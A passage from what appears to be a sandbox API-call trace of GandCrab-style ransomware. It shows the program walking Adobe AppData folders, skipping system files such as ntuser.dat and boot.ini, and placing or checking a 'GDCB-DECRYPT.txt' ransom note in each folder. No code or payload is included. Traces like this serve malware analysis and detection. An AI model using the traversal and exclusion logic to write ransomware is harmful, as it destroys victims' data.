Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0170.066] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.066] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.066] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.066] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 153 [0170.066] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.066] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.067] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.067] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.067] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.067] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.067] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.067] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.067] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.067] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 160 [0170.067] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.067] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.067] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.067] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.067] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 168 [0170.067] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.067] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.067] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.067] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.067] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 169 [0170.067] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.067] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.067] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.067] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.067] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 170 [0170.067] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.068] GetLastError () returned 0x50 [0170.068] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.068] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 153 [0170.068] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.068] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.069] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.069] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.069] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.069] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.069] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.069] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.069] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.069] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.069] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.069] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 160 [0170.069] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 160 [0170.069] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.069] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.069] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.069] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.069] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.069] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.069] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 168 [0170.069] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 168 [0170.069] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.070] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.070] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.070] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.070] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.070] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.070] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 169 [0170.070] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 169 [0170.070] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 169 [0170.070] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 169 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.070] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.070] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.070] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.070] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.070] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.070] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.070] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.070] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.070] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.070] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 162 [0170.071] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 162 [0170.071] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 162 [0170.071] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 162 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.071] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.071] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.071] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.071] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.071] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.071] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.071] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.071] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.071] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.071] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.071] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.071] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.071] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.071] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.072] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.072] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.072] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.072] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.072] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.072] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.072] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.072] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 151 [0170.072] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 151 [0170.072] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 151 [0170.072] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 151 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.072] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.072] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.072] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0170.072] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.072] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.072] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.072] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.073] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.073] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\" [0170.073] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.073] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.073] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 133 [0170.073] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.073] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4c58 [0170.073] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.073] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.073] lstrcmpW (lpString1="..", lpString2=".") returned 1 